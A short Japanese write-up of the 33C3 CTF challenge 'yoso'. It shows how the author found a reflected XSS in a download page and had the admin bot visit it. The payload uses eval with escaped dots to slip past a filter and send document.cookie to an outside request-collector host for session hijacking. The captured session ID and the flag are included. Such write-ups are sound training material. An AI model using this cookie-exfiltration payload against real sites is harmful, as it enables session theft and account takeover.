33C3 CTF: yoso
深夜まで必死で粘ってなんとか倒した。達成感があった。
problem
一括検索 + 検索履歴保存のサービス。そしてadminはflagについて検索するのが好きとのこと。

solution
/register.php//login.php/logout.php`: 何もなさそう/search.php: 検索ができる/bookmark.php: POSTすればzipが鯖上に生成される/download.php: そのzipを削除しつつ取得/feedback.php: linkを送ると鯖上で踏んでjsを実行してくれる
/feedback.phpから/bookmark.phpにPOSTして出きたzipを奪うのが思い付くが、/bookmark.phpはCSRF tokenを持つのでだめ。
しかし/download.phpにはXSSの脆弱性を持つので、これを踏ませてsession hijackにする。
実行させたいjavascriptは以下。
location.href = "http://requestb.in/18o1k6g1?" + document.cookie;
しかし/download.zipでは..を防ぐのと兼ねて.が消去される。なので文字列に持ちあげてevalする。
XSSはhttp://78.46.224.80:1337/download.php?zip=%3Cmarquee%3EXSS%3C/marquee%3Eみたいに仕込める。
eval("location\x2ehref=\"http://requestb\x2ein/18o1k6g1?\"+document\x2ecookie;")
http://78.46.224.80:1337/download.php?zip=<script>eval("location\x2ehref=\"http://requestb\x2ein/18o1k6g1?\"+document\x2ecookie;")</script>
得られたのはPHPSESSID=c5u3mgfndm4u241ji3ad9bajn1。
結局CSRF tokenは破れず。
flag: 33C3_lol_wHo_needs_scr1pts_anyway